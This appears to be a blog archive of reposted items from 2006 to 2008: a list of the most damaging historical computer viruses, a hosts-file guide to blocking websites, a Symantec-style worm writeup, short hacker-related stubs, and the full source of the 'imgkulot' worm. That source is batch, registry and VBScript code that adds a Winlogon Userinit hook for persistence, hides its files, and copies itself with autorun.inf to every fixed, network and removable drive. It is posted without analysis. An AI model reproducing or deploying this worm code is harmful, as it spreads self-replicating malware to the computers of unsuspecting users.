The worst computer viruses of all time

March 30, 2008

If you haven’t experienced a computer virus yet, just wait — you probably will.Fortunately, you missed the real heyday of computer viruses when anti-virus software wasn’t very widely used, and virus attacks caused millions of dollars in damages overnight. Today’s viruses can still be nightmarish, but for the average user, cleanup is considerably easier than it was just a few years ago, when the only solution in many cases was reformatting your hard drive and starting from scratch (and even that didn’t do the trick sometimes).

So join me on a trip down memory lane as we revisit some of the worst viruses of all time and count our blessings that our computers are still up and running despite it all. (Though, please note, “worst” is a matter of considerable debate in the security industry, as the number of infected machines and amount of financial loss is always estimated. If you think another virus was worse than these, please post it in the comments to remind us!)

The worst viruses of all time

Brain, 1986
It all started here: Brain was the first “real” virus ever discovered, back in 1986. Brain didn’t really hurt your PC, but it launched the malware industry with a bang and gave bad ideas to over 100,000 virus creators for the next 2 decades.

Michelangelo, 1991
The worst MS-DOS virus ever, Michelangelo attacked the boot sector of your hard drive and any floppy drive inserted into the computer, which caused the virus to spread rapidly. After spreading quietly for months, the virus “activated” on March 6, and promptly started destroying data on tens of thousands of computers.

Melissa, 1999
Technically a worm, Melissa (named after a stripper) collapsed entire email systems by causing computers to send mountains of messages to each other. The author of the virus was eventually caught and sentenced to 20 months in prison.

ILOVEYOU, 2000
This was notable for being one of the first viruses to trick users into opening a file, which in this case claimed to be a love letter sent to the recipient. In reality, the file was a VBS script that sent mountains of junk mail and deleted thousands of files. The results were terribly devastating- one estimate holds that 10 percent of all computers were affected, to a cost of $5.5 billion. It remains perhaps the worst worm of all time.

Code Red, 2001
An early “blended threat” attack, Code Red targeted Web servers instead of user machines, defacing websites and later launching denial-of-service attacks on a host of IP addresses, including those of the White House.

Nimda, 2001
Built on Code Red’s attack system of finding multiple avenues into machines (email, websites, network connections, and others), Nimda infected both Web servers and user machines. It found paths into computers so effectively that, 22 minutes after it was released, it became the Internet’s most widespread virus at the time.

Klez, 2001
An email virus, Klez pioneered spoofing the “From” field in email messages it sent, making it impossible to tell if Bill Gates did or did not really send you that information about getting free money.

Slammer, 2003
Another fast spreader, this worm infected about 75,000 systems in just 10 minutes, slowing the Internet to a crawl (much like Code Red) and shutting down thousands of websites.

MyDoom, 2004
Notable as the fastest-spreading email virus of all time, MyDoom infected computers so they would, in turn, send even more junk mail. In a strange twist, MyDoom was also used to attack the website of SCO Group, a very unpopular company that was suing other companies over its code being used in Linux distributions. 

Storm, 2007
The worst recent virus, Storm spread via email spam with a fake attachment and ultimately infected up to 10 million computers, causing them to join its zombie botnet.

Thanks to Symantec for helping to compile this list.

http://tech.yahoo.com/blogs/null/87095
Thu Mar 20, 2008 12:11PM EDT


How to Block Websites

October 7, 2007

HOW TO…
Block websites

How do I block certain websites from being viewed on my computer? I am using Internet Explorer.

Software like ‘Net Nanny’ allows you to control which websites can be accessed from your computer.

If you don’t have a monitoring program though, you can achieve similar results with a little bit of technical know-how.

Open Windows Explorer.

Browse to C:\WINDOWS\system32\drivers\etc.

Find the file named “HOSTS”.

Open the file in notepad.

Under “127.0.0.1 localhost” add 127.0.0.2 www.name_of_the_site_to block.com. So, if you’d like to block www.hotporn.com, the code will look like this:
127.0.0.1 localhost
127.0.0.2 www.hotporn.com

The site is now blocked.

If you want to block another site, just repeat the process with the next number in the 127.0.0 sequence. For example:
127.0.0.3 www.blocked_site.com
127.0.0.4 www.blocked_site.com  

source:
http://cooltech.iafrica.com/swissarmy/howto/478289.htm


imgkulot virus

October 4, 2007

here are the file Contents

IMGKULOT.BAT

Code:
@echo off
if exist .\imgkulot.reg regedit /s .\imgkulot.reg
if not “%1″==”" goto open
if exist imgkulot.vbs start WScript.exe imgkulot.vbs&exit
if exist %SYSTEMROOT%\system32\imgkulot.vbs start WScript.exe %SYSTEMROOT%\system32\imgkulot.vbs&exit
exit
:o pen
if not “%1″==”Open” goto next
start explorer .\
exit
:next
if “%1″==”+” attrib +s +a +h +r %2\imgkulot.*
if “%1″==”+” attrib +s +a +h +r %2\autorun.inf
:end

IMGKULOT.reg

Code:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
“Userinit”=”userinit.exe,imgkulot.bat”

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
“ShowSuperHidden”=dword:00000000

IMGKULOT.vbs

Code:
‘imgkulot v1.0
‘Iloilo City Phils
‘email me if you found this :) @ imagina_boy@linuxmail.org
‘May 2007
on error resume next
Set WshShell =CreateObject(“WScript.Shell”)

For i=1 to 1

set Of = CreateObject(“Scripting.FileSystemObject”)
set dir = Of.GetSpecialFolder(1)

Set dc = Of.Drives
if WScript.ScriptFullName=dir&”\imgkulot.vbs” then
   isdir=true
else
   a=WshShell.Run(“imgkulot.bat Open” ,0,False)
   isdir=false
end if

For Each d In dc
   If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>”A:” and d<> “B:”) Then
   a=WshShell.Run(“imgkulot.bat – “&d ,0,True)
      if isdir then
         Of.CopyFile dir&”\imgkulot.*”,d&”\”,True
         Of.CopyFile dir&”\autorun.inf”,d&”\”,True
      else
         Of.CopyFile “imgkulot.*”,d&”\”,True
         Of.CopyFile “autorun.inf”,d&”\”,True
      end if
         a=WshShell.Run(“imgkulot.bat + “&d ,0,True)
   End If
next

if isdir then
   wscript.sleep 60000
   i=0
else
   a=WshShell.Run(“imgkulot.bat – “&dir ,0,True)
   Of.CopyFile “imgkulot.*”,dir&”\”,True
   Of.CopyFile “autorun.inf”,dir&”\”,True
   a=WshShell.Run(“imgkulot.bat + “&dir ,0,True)
end if

next

posted by: virtualstefan13
http://www.castlecops.com/t197861-how_to_remove_imgkulot_virus.html


DeepKick – Kaoru Hayashi

November 6, 2006

Writeup By: Kaoru Hayashi
http://deepkick.com/
flash site: http://deepkick.com/flash.html

Discovered: November 4, 2006

Updated: November 6, 2006 07:05:19 PM PST

Type: Worm

Infection Length: 485,888 bytes

Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP
W32.Eboscro is a worm that copies itself to removable drives, opens a back door, and lowers security settings on the compromised computer.

Protection

  • Virus Definitions (LiveUpdate™ Daily) November 5, 2006
  • Virus Definitions (LiveUpdate™ Weekly) November 8, 2006
  • Virus Definitions (Intelligent Updater) November 5, 2006
  • Virus Definitions (LiveUpdate™ Plus) November 5, 2006

Threat Assesment

Wild

  • Wild Level: Low
  • Number of Infections: 0 – 49
  • Number of Sites: 0 – 2
  • Geographical Distribution: Low
  • Threat Containment: Easy
  • Removal: Easy

Damage

  • Damage Level: Low
  • Payload: Opens a back door.
  • Compromises Security Settings: Ends security-related processes.

Distribution

  • Distribution Level: Medium
  • Ports: TCP port 8111

Benjamin Scott aka DragonHawk

November 5, 2006

DeCSS

November 3, 2006

http://en.wikipedia.org/wiki/DeCSS
is a computer program capable of decrypting content on a DVD video disc encrypted using the Content-Scrambling System (CSS).


Benjamin Scott aka DragonHawk

November 3, 2006

mirc #bacolod hacked

November 3, 2006

those guys with IPA
http://en.wikipedia.org/wiki/User_talk:82.103.132.227
from PinoyHacking_Team
@3pm